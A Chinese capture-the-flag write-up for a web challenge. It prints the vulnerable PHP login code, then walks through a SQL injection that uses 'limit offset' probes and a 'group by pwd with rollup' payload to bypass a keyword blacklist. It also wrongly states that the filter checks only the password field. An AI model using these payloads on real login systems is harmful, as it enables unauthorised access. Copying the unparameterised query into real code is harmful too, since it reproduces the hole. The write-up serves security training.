因缺思汀的绕过分值:20
- 来源: pcat
- 难度:中
- 参与人数:9534人
- Get Flag:3087人
- 答题人数:3370人
- 解题通过率:92%
访问解题链接去访问题目,可以进行答题。根据web题一般解题思路去解答此题。看源码,
请求,响应等。提交与题目要求一致的内容即可返回flag。然后提交正确的flag即可得分。
web题主要考察SQL注入,XSS等相关知识。涉及方向较多。此题主要涉及源码审计,MySQL相关的知识。
flag格式 CTF{}
解题链接: http://ctf5.shiyanbar.com/web/pcat/index.php
解题思路:这一题考察的知识点比较多(可能是我不会的太多了QAQ)
首先,打开链接:
查看源代码就会得到:
看来出题人是希望我们能够看到源代码的呀
加上source.txt
就会得到:
<?php
error_reporting(0);
if (!isset($_POST['uname']) || !isset($_POST['pwd'])) {
echo '<form action="" method="post">'."<br/>";
echo '<input name="uname" type="text"/>'."<br/>";
echo '<input name="pwd" type="text"/>'."<br/>";
echo '<input type="submit" />'."<br/>";
echo '</form>'."<br/>";
echo '<!--source: source.txt-->'."<br/>";
die;
}
function AttackFilter($StrKey,$StrValue,$ArrReq){
if (is_array($StrValue)){
$StrValue=implode($StrValue);
}
if (preg_match("/".$ArrReq."/is",$StrValue)==1){
print "水可载舟,亦可赛艇";
exit();
}
}
$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";
foreach($_POST as $key=>$value){
AttackFilter($key,$value,$filter);
}
$con = mysql_connect("XXXXXX","XXXXXX","XXXXXX");
if (!$con){
die('Could not connect: ' . mysql_error());
}
$db="XXXXXX";
mysql_select_db($db, $con);
$sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";
$query = mysql_query($sql);
if (mysql_num_rows($query) == 1) {
$key = mysql_fetch_array($query);
if($key['pwd'] == $_POST['pwd']) {
print "CTF{XXXXXX}";
}else{
print "亦可赛艇";
}
}else{
print "一颗赛艇";
}
mysql_close($con);
?>
从源码可以看到,$filter进行的关键字符筛选仅仅针对$_POST['pwd'],
所以第二行一定不能带被其识别的关键字,如:select
提交就会出现:
我们接着往下看就会发现限制从数据库返回的数据必须是一行,
在满足filter条件的情况下可以使用 limit 的返回来确定数据库中总共有几行数据。
注意它的查询语句是
select * from interest where uname = ‘{$_POST[‘uname’]}’
于是构造:
1' or 1 limit 1 offset 0#
1' or 1 limit 1 offset 1#
1' or 1 limit 1 offset 2#
发现2#时返回“一颗赛艇!” 其他都是“亦可赛艇!”———–说明数据库只有两条信息
接下来就是想办法绕过if判断,只要if的判断为真就可以通过,于是可以利用group by with rollup来进行绕过,
group by with rollup会在统计后的产生一条null的信息,然后在pwd里面就可以不用写值了,if就为真
payload:1' or 1 group by pwd with rollup limit 1 offset 2#
就会得到答案:
参考资料:
http://php.net/manual/zh/function.preg-match.php
#函数preg_match
http://blog.csdn.net/id19870510/article/details/6254358
#使用 GROUP BY WITH ROLLUP 改善统计性能
http://blog.csdn.net/yplee_8/article/details/52252549
#sql 中 limit 与 limit,offset连用的区别
http://www.w3school.com.cn/sql/sql_groupby.asp
#SQL GROUP BY 语句
http://blog.csdn.net/jiangnan2014/article/details/17229713
#MySQL中with rollup的用法
http://php.freehostingguru.com/function.php-is_array.php
#函数is_array
http://www.w3school.com.cn/php/func_string_implode.asp
#函数 implode